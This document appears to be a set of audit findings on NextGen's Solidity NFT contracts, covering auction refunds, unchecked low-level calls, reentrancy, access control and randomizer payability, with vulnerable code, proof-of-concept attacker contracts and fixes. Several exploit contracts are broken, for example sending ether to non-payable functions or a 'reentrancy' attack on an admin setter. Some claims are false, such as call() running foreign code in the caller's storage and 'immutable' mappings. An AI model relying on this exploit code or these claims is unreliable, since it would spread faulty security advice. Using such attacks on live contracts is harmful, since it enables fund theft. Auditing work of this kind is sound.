https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L139
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L134-L143
Vulnerability details
Impact
The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.
Proof of Concept
Vulnerable claimAuction function
// Ln 104-120
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
auctionClaim[_tokenid] = true;
uint256 highestBid = returnHighestBid(_tokenid);
address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
address highestBidder = returnHighestBidder(_tokenid);
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
Exploit claimAuction low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./auctionDemo.sol";
contract tauctionDemo {
auctionDemo public x1;
constructor(auctionDemo _x1) {
x1 = auctionDemo(_x1);
}
function testLowCal() public payable {
x1.claimAuction{value: 2 ether}(uint256(12));
}
receive() external payable {}
}
Vulnerable cancelBid function
// Ln 124-130
function cancelBid(uint256 _tokenid, uint256 index) public {
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
auctionInfoData[_tokenid][index].status = false;
(bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
}
Exploit cancelBid function with low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./auctionDemo.sol";
contract tauctionDemo {
auctionDemo public x1;
constructor(auctionDemo _x1) {
x1 = auctionDemo(_x1);
}
function testLowCalB() public payable {
x1.cancelBid{value: 2 ether}(uint256(24), uint256(12));
}
receive() external payable {}
}
Vulnerable cancelAllBids function
// Ln 134-143
function cancelAllBids(uint256 _tokenid) public {
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
auctionInfoData[_tokenid][i].status = false;
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
} else {}
}
}
Exploit cancelAllBids function with low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./auctionDemo.sol";
contract tauctionDemo {
auctionDemo public x1;
constructor(auctionDemo _x1) {
x1 = auctionDemo(_x1);
}
function testLowCalD() public payable {
x1.cancelAllBids{value: 2 ether}(uint256(24));
}
receive() external payable {}
}
Tools Used
VS Code.
Recommended Mitigation Steps
Do not allow user-controlled data inside the call() function.
// Ln 116
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
// Ln 128
(bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
// Ln 139
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
Assessed type
call/delegatecall
[M-13] Return value of low level call not checked in RandomizerRNG contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/RandomizerRNG.sol#L79-L84
Vulnerability details
Impact
The return value of low level call is not checked.
If the msg.sender is a contract and its receive() function has the potential to revert, the code payable(admin).call{value: balance}(""); could potentially return a false result, which is not being verified. As a result, the calling functions may exit without successfully returning ethers to senders.
The emergencyWithdraw function does not check the return value of low-level calls.
This can lock Ether in the contract if the call fails or may compromise the contract if the ownership is being changed.
The following call was detected without return value validations in the emergencyWithdraw function.
(bool success, ) = payable(admin).call{value: balance}("");
Proof of Concept
Vulnerable emergencyWithdraw function
// Ln 79-84
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Vulnerable code snippet
// Ln 82
(bool success, ) = payable(admin).call{value: balance}("");
Exploit low level call on emergencyWithdraw function
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./RandomizerRNG.sol";
contract tRandomizerRNG {
RandomizerRNG public x1;
constructor(RandomizerRNG _x1) {
x1 = RandomizerRNG(_x1);
}
function testLowCal() public payable {
x1.emergencyWithdraw{value: 3 ether}();
}
receive() external payable {}
}
Tools Used
VS Code.
Recommended Mitigation Steps
It's recommended to check the return value to be true or just use OpenZeppelin Address library sendValue() function for ether transfer.
See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/contracts/utils/Address.sol#L64 .
Ensure return value is checked using conditional statements for low-level calls.
Conditional statements like require()
.
Assessed type
call/delegatecall
In the returnHighestBidder function, the highBid variable remains 0 throughout
Lines of code
Vulnerability details
Impact
In the returnHighestBidder function, the highBid variable remains 0 consistently. As a result, any bid in the auction could potentially be higher than it, leading to incorrect identification of the highest bidder.
Proof of Concept
The value of highBid does not change, resulting in each bid being compared to 0 and no maximum bid being determined.
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
@ uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
@ if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
@ index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return auctionInfoData[_tokenid][index].bidder;
} else {
revert("No Active Bidder");
}
}
Tools Used
vs
Recommended Mitigation Steps
Similar to the returnHighestBid function, the highBid value should be updated after comparing the bid amounts.
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
highBid = auctionInfoData[_tokenid][i].bid;
index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return auctionInfoData[_tokenid][index].bidder;
} else {
revert("No Active Bidder");
}
}
Assessed type
Context
A malicious participant could disrupt an ongoing auction
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L69-L73
Vulnerability details
Impact
When a participant makes a bid by calling participateToAuction()
, the highest bid so far is retrieved. The higest bid is calculated in a loop.
What a malicious participant could do to disrupt the auction, is to create many small bids in short succession (with a 1 wei step), so the auctionInfoData[_tokenid]
array contains many elements. Benign participants aren't able to call participateToAuction()
because it reverts with out-of-gas reason since returnHighestBid()
has to loop through a huge array.
Proof of Concept
Tools Used
Manual review.
Recommended Mitigation Steps
The highest bid so far should be calculated incrementally inside participateToAuction()
without looping through the whole auctionInfoData[_tokenid]
.
Assessed type
DoS
Artist payment addresses stored mutably, enabling privileged roles to divert funds in NextGenMinter contract.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L84
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L109
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L394
Vulnerability details
Impact
The proposed artist addresses are stored mutably in collectionArtistPrimaryAddresses
and collectionArtistSecondaryAddresses
. This allows privileged roles to modify the addresses before payment is made, diverting funds.
Proof of Concept
The artist addresses are stored in standard mutable mappings. The core issue is that the proposed artist addresses for royalty payments are stored mutably. This allows the addresses to be modified by privileged roles before payments are made, diverting funds away from the intended recipients.
- The artist payment addresses are stored in standard mapping variables:
mapping (uint256 => collectionPrimaryAddresses) private collectionArtistPrimaryAddresses;
mapping (uint256 => collectionSecondaryAddresses) private collectionArtistSecondaryAddresses;
proposePrimaryAddressesAndPercentages()
sets the primary addresses: Link to code, Link to Code
- These mappings can be updated multiple times by calling the proposal functions:
function proposePrimaryAddressesAndPercentages(
uint256 _collectionID,
address _primaryAdd1,
// ...
) public {
// Set payment addresses
}
function proposeSecondaryAddressesAndPercentages(
uint256 _collectionID,
address _secondaryAdd1,
// ...
) public {
// Set payment addresses
}
- There is no immutability guarantee protecting the proposed addresses once set.
A privileged role like owner or admin could call the proposal functions again before payment is made, and redirect the addresses to malicious accounts under their control.
Funds intended for the artist could be irreversibly redirected. This breaks the trust in the royalty payment mechanism of the contract.
A privileged role could call it again before payment:
// Original proposal
proposePrimaryAddressesAndPercentages(
1,
artistAddress,
0x0,
0x0,
100, // 100% share
0,
0
)
// Malicious admin modifies addresses before payment
proposePrimaryAddressesAndPercentages(
1,
attackerAddress, // redirected to attacker
0x0,
0x0,
100,
0,
0
)
Now the attacker address receives the funds instead of the artist.
Tools Used
Manual review
Recommended Mitigation Steps
- Use immutable storage via
mapping(uint256 => address) private immutable proposedAddress
use immutable storage for the proposed addresses, by declaring them as:
mapping(uint256 => address) private immutable proposedAddress;
And setting them immutable after the artist signs off on the proposal.
-
Set addresses immutable after artist approval
-
Restrict proposal function access with
onlyArtist
modifier
Assessed type
Access Control
requestRandomWords() in RandomizerRNG and RandomizerVRF can't be called
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L41
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L53
Vulnerability details
Impact
requestRandomWords() in RandomizerRNG and RandomizerVRF can't be called because of a require that needs msg.sender
to be gencore
where gencore
is the NextGenCore.sol contract.
However, the NextGenCore contract doesn't implement any functionality for calling requestRandomWords()
which makes the functions uncallable and breaks the core functionality of the RandomizerRNG and RandomizerVRF contracts.
Proof of Concept
Let's take a look at the code of the requestRandomWords()
functions.
In RandomizerRNG:
function requestRandomWords(uint256 tokenid, uint256 _ethRequired) public payable {
require(msg.sender == gencore); <--
uint256 requestId = arrngController.requestRandomWords{value: _ethRequired}(1, (address(this)));
tokenToRequest[tokenid] = requestId;
requestToToken[requestId] = tokenid;
}
In RandomizerVRF:
function requestRandomWords(uint256 tokenid) public {
require(msg.sender == gencore); <--
uint256 requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
tokenToRequest[tokenid] = requestId;
requestToToken[requestId] = tokenid;
}
As you can see, the msg.sender needs to be the gencore contract. However, the current in-scope NextGenCore contract doesn't implement any calls to it, making the functions and the whole Randomizer contracts basically useless.
Tools Used
Manual review
Recommended Mitigation Steps
Add a function to NextGenCore.sol that utilizes requestRandomWords
if you actually wish to use it. Or add a proper access control that enables users to use it.
Assessed type
Error
Gas Optimizations
See the markdown file with the details of this report here.
[M-01] Public burn in the NextGenCore contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L204-L209
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L213-L223
Vulnerability details
Impact
The contract is utilising a public burn function.
The function is not using an access control to stop other users from burning tokens.
And, the burn function is using an address other than msg.sender.
Proof of Concept
Vulnerable burn function code snippet
// Ln 204-209
function burn(uint256 _collectionID, uint256 _tokenId) public {
require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721: caller is not token owner or approved");
require ((_tokenId >= collectionAdditionalData[_collectionID].reservedMinTokensIndex) && (_tokenId <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex), "id err");
_burn(_tokenId);
burnAmount[_collectionID] = burnAmount[_collectionID] + 1;
}
Exploit burn function
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./NextGenCore.sol";
contract tNextGenCore {
NextGenCore public x1;
constructor(NextGenCore _x1) {
x1 = NextGenCore(_x1);
}
function testBurn() public payable {
x1.burn(uint256(35), uint256(25));
}
}
Vulnerable burnToMint function code snippet
// Ln 213-223
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
require(msg.sender == minterContract, "Caller is not the Minter Contract");
require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
_mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
// burn token
_burn(_tokenId);
burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
}
}
Exploit burnToMint function
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./NextGenCore.sol";
contract tNextGenCore {
NextGenCore public x1;
constructor(NextGenCore _x1) {
x1 = NextGenCore(_x1);
}
function testBurnB() external payable {
x1.burnToMint(uint256(4), uint256(8), uint256(24), uint256(32), uint256(24), address(_x1));
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
Utilise access control modifiers on the burn function to stop other users from burning your tokens.
Assign msg.sender to the from parameter of the burn function.
Assessed type
Access Control
[M-10] Reentrancy in the RandomizerVRF contract
Lines of code
Vulnerability details
Impact
The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.
Proof of Concept
Vulnerable updateAdminContract function to reentrancy
// Ln 94-97
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}
Exploit Reentrancy
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./RandomizerVRF.sol";
contract tRandomizerVRF {
RandomizerVRF public x1;
constructor(RandomizerVRF _x1) {
x1 = RandomizerVRF(_x1);
}
function testRenterS() public payable {
x1.updateAdminContract(address(_x1));
}
receive() external payable {
msg.sender.transfer(payable(address(_x1)).balance);
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.
Assessed type
Reentrancy
Artist payment addresses can be changed without consent, enabling potential fraud in NextGenMinter contract.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L408-L411
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L136-L139
Vulnerability details
Vulnerability Details
There is an issue with how artist payment addresses are stored and validated that could allow them to be changed without the artist's consent:
The key functions involved are:
-
proposePrimaryAddressesAndPercentages
- Allows artist to propose their payment addresses and royalty percentages -
acceptAddressesAndPercentages
- Allows admin to accept/activate the proposed addresses -
payArtist
- Sends royalties to the accepted payment addresses
The main problem is that proposePrimaryAddressesAndPercentages
and acceptAddressesAndPercentages
do not validate that the msg.sender
is the original artist address when changing values.
For example, the artist could propose:
proposePrimaryAddressesAndPercentages(
1, // collectionId
0xArtistAddress1,
0xArtistAddress2,
0xArtistAddress3,
50, // percentages
25,
25
)
This would store their provided addresses in collectionArtistPrimaryAddresses
.
But then any other address could call:
proposePrimaryAddressesAndPercentages(
1, // collectionId
0xHackerAddress1,
0xHackerAddress2,
0xHackerAddress3,
50, // percentages
25,
25
)
And overwrite the original artist's payment addresses with the hacker's addresses.
When the admin accepts the addresses and tries to pay the artist, the royalties would actually go to the hacker's address instead of the real artist.
Proof of Concept
The core problem occurs in the proposePrimaryAddressesAndPercentages
function of NextGenMinter.sol: Link to code
// NextGenMinter.sol
function proposePrimaryAddressesAndPercentages(
uint256 _collectionID,
address _primaryAdd1,
// ...
) public ArtistOrAdminRequired(_collectionID, this.proposePrimaryAddressesAndPercentages.selector) {
// Store provided addresses into mapping
collectionArtistPrimaryAddresses[_collectionID].primaryAdd1 = _primaryAdd1;
// ...
}
It is saving the provided _primaryAdd1
address into the collectionArtistPrimaryAddresses
mapping without verification.
The problem is because it allows anyone to provide a new address and overwrite the artist's original address.
For example, the artist could initially propose:
proposePrimaryAddressesAndPercentages(
1, // collectionId
0xArtistAddress1,
0xArtistAddress2,
0xArtistAddress3,
// ...
)
This would safely store 0xArtistAddress1
as the intended recipient of royalties.
But then a malicious user could call:
proposePrimaryAddressesAndPercentages(
1, // collectionId
0xHackerAddress,
// ...
)
It would overwrite the original 0xArtistAddress1
with the 0xHackerAddress
provided by the attacker.
Now when royalties are paid out by calling payArtist
, they would go to the hacker's address instead of the real artist.
This is possible because proposePrimaryAddressesAndPercentages
accepts addresses from anyone without verification. The ArtistOrAdminRequired
modifier only checks if they are an admin or artist, but crucially does not check if msg.sender matches the original artist address.
Tools Used
Manual
Recommended Mitigation Steps
An additional check needs to be added to proposePrimaryAddressesAndPercentages
to verify msg.sender
matches the original artist address from when the collection was created:
// NextGenMinter.sol
mapping(uint256 => address) public originalArtist;
// Set original artist when creating collection
function createCollection(...) public {
...
originalArtist[collectionId] = artistAddress;
}
// Verify msg.sender matches original artist
function proposePrimaryAddresses(...) public {
require(
msg.sender == originalArtist[collectionId],
"Only original artist can update addresses"
);
// Rest of function
}
This would prevent the unauthorized changing of payment addresses.
Assessed type
Access Control
NextGenAdmins contract grants deployer global admin privileges without owner approval, posing unauthorized access risk.
Lines of code
Vulnerability details
Impact
In the NextGenAdmins contract, it allows adding admins without owner approval. In the constructor of NextGenAdmins, it sets the msg.sender
as a global admin by default.
Proof of Concept
Whoever deploys the contract will automatically become a global admin with full privileges. The main problem is: Link to code
constructor() {
adminPermissions[msg.sender] = true;
}
This automatically sets adminPermissions[msg.sender]
to true
. This is granting global admin permissions to whichever address deployed the NextGenAdmins contract.
This is problematic because it allows the deployer to instantly become a super admin with full privileges over the contract and all connected systems without requiring any consent from the owner.
For example, if I deployed the contract from my address 0x9e918DC8d930B34de6F05ad918f1869f5e955FAF
, then msg.sender
would resolve to 0x9e918DC8d930B34de6F05ad918f1869f5e955FAF
in the constructor. So adminPermissions[0x9e918DC8d930B34de6F05ad918f1869f5e955FAF]
would get set to true
, meaning my address is now a global admin.
I could then call restricted functions like registerAdmin
and registerFunctionAdmin
to add even more admin accounts. Or call registerCollectionAdmin
to grant myself permissions on specific NFT collections.
The owner of the contract likely did not intend to automatically grant me those admin powers. But because of that single line in the constructor, I gained unauthorized access.
This could be triggered anytime someone deploys the contract. All they would need is enough ETH to pay gas fees. No other permissions are required.
Tools Used
Manual Review
Recommended Mitigation Steps
A safer approach would be to not automatically add the deployer as an admin, and instead require the owner to manually add the initial admin.
// NextGenAdmins.sol
constructor() {
// don't auto add any admins
}
function addInitialAdmin(address _admin) public onlyOwner {
// now require owner to manually add the first admin
adminPermissions[_admin] = true;
}
Removing the automatic admin addition in the constructor ensures that the owner must explicitly approve each admin rather than letting the deployer get auto-approved.
This could prevent a situation where someone maliciously deploys the contract and instantly becomes an all-powerful admin without the owner's consent.
The only way to add admins would then be for the owner to call the registerAdmin
function, providing proper access control.
Assessed type
Access Control
It's possible to mint more NFTs than _maxAllowance due to lack of re-entrancy protection
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L195
Vulnerability details
Impact
Functions MinterContract.mint()
and NextGenCore.mint()
lack re-entrancy protection. Moreover, NextGenCore.mint()
violates the CEI pattern. As a result it's possible to mint more NFTs than permitted by the _maxAllowance
parameter for MinterContract.mint()
.
A user who is eligible for the NFT mint during phase 1 can call MinterContract.mint()
and present Merkle proof along with other parameters, including _maxAllowance
. The leaf should be in the Merkle tree and incorporate msg.sender
, _maxAllowance
, and _tokenData
.
Furthermore, the user shouldn't mint more than _maxAllowance
and gencore.retrieveTokensMintedALPerAddress(col, msg.sendert)
holds the number of NFTs minted so far.
Eventually, gencore.mint()
is called.
Yet in gencore.mint()
the value of tokensMintedAllowlistAddress
is updated only after mintProcessing()
which internally invokes _safeMint()
with a callback. Therefore, a malicious minter could exploit callback from _safeMint()
to call MinterContract.mint()
recursively with the same Merkle proof to mint any number of NFTs, bypassing _maxAllowance
upper bound.
Proof of Concept
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189
- https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L195
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L314
Tools Used
Manual review.
Recommended Mitigation Steps
Implement re-entrancy protection for MinterContract.mint()
and NextGenCore.mint()
.
Assessed type
Reentrancy
11 low-level CALL bools not checked for failure
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L434
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L435
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L436
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L437
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L438
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L113
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L128
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L139
Vulnerability details
Impact
11 low-level CALLs across 3 contracts not checked for failure. Will result in successful transaction even if the low-level CALLs fail.
Proof of Concept
2 examples below:
(bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
(bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
(bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
(bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
(bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
emit PayTeam(tm1, success4, teamRoyalties1);
emit PayTeam(tm2, success5, teamRoyalties2);
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Recommended Mitigation Steps
Implement checks to REVERT if bool success == fail for any of the 11 CALLs, e.g.
if (!success) {
revert();
}
Assessed type
call/delegatecall
NextGen can't work with RandomizerRNG because functions are not marked as payable
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L42
Vulnerability details
Impact
To work with the AARNG randomizer, one needs to send ETH to it for execution fee, and they refund if there's an excess amount sent. You can find more information about it here.
This is implemented correctly in the requestRandomWords
function in RandomizerRNG:
function requestRandomWords(uint256 tokenid, uint256 _ethRequired) public payable {
require(msg.sender == gencore);
uint256 requestId = arrngController.requestRandomWords{value: _ethRequired}(1, (address(this)));
tokenToRequest[tokenid] = requestId;
requestToToken[requestId] = tokenid;
}
As you can see, we try to pass msg.value of _ethRequired
, and the function is marked as payable.
However, none of the functions that call requestRandomWords
are marked as payable, meaning there will be no ETH passed along to requestRandomWords
which means that the call will always fail and we won't receive random words back.
Proof of Concept
NextGenCore.sol doesn't implement any functionality to call requestRandomWords
directly, and given the require in the function require(msg.sender == gencore)
means that the only way to call it is by calling a function from the NextGenCore contract that calls calculateTokenHash
:
function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
require(msg.sender == gencore); <--
tokenIdToCollection[_mintIndex] = _collectionID;
requestRandomWords(_mintIndex, ethRequired); <--
}
As you can see, calculateTokenHash
is not marked as payable, meaning that it won't pass any ETH to requestRandomWords
and the call will fail.
Tools Used
Manual review
Recommended Mitigation Steps
You have to make sure that every function in the call chain ending at requestRandomWords
is marked as payable for the ETH to be passed correctly to the ARRNG randomizer.
This means that calculateTokenHash
which gets called in _mintProcessing
in NextGenCore, which gets called in airDropTokens
, mint
, and burnToMint
. All of these functions need to be payable in order for a user to be able to send msg.value
and the msg.value
to end up with requestRandomWords
so the call executes successfully.
Assessed type
Payable
Lack of validation in low level calls
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L113
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
Vulnerability details
Impact
Three low level calls are made, msg.sender.call{value:}, but the result is not validated if it was correct. This could generate inconsistency in the state of the contracts, if it returned false,
because it would change states, but without transferring the gas.
Recommended Mitigation Steps
validate the return of the calls and revert if necessary.
Assessed type
ETH-Transfer
Lower-privilege admins can escalate to global admin using unchecked registerAdmin in NextGenAdmins contract.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenAdmins.sol#L38-L40
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenAdmins.sol#L31-L34
Vulnerability details
Impact
The registerAdmin
function allows privilege escalation as it does not check the caller's permission level before granting global admin access.
This could allow a lower-privilege admin to promote themselves to full global admin privileges.
Proof of Concept
The issue occurs in NextGenAdmins.sol: Link to code
registerAdmin
allows adding a new global admin:
function registerAdmin(address _admin, bool _status) public AdminRequired {
adminPermissions[_admin] = _status;
}
The AdminRequired
modifier allows any admin type to call this: Link to code
This means that even if a user is only a function or collection admin, they can call registerAdmin
to promote themselves to a full global admin.
For example:
- Alice is made a function admin for
setCollectionData
:
registerFunctionAdmin(alice, setCollectionDataSelector, true)
- Alice calls
registerAdmin
and adds herself as a global admin:
registerAdmin(alice, true)
- Now Alice has full global admin privileges.
Alice has exceeded her intended role as a function admin.
This is possible because registerAdmin
does not check the caller's permission level before granting global admin access.
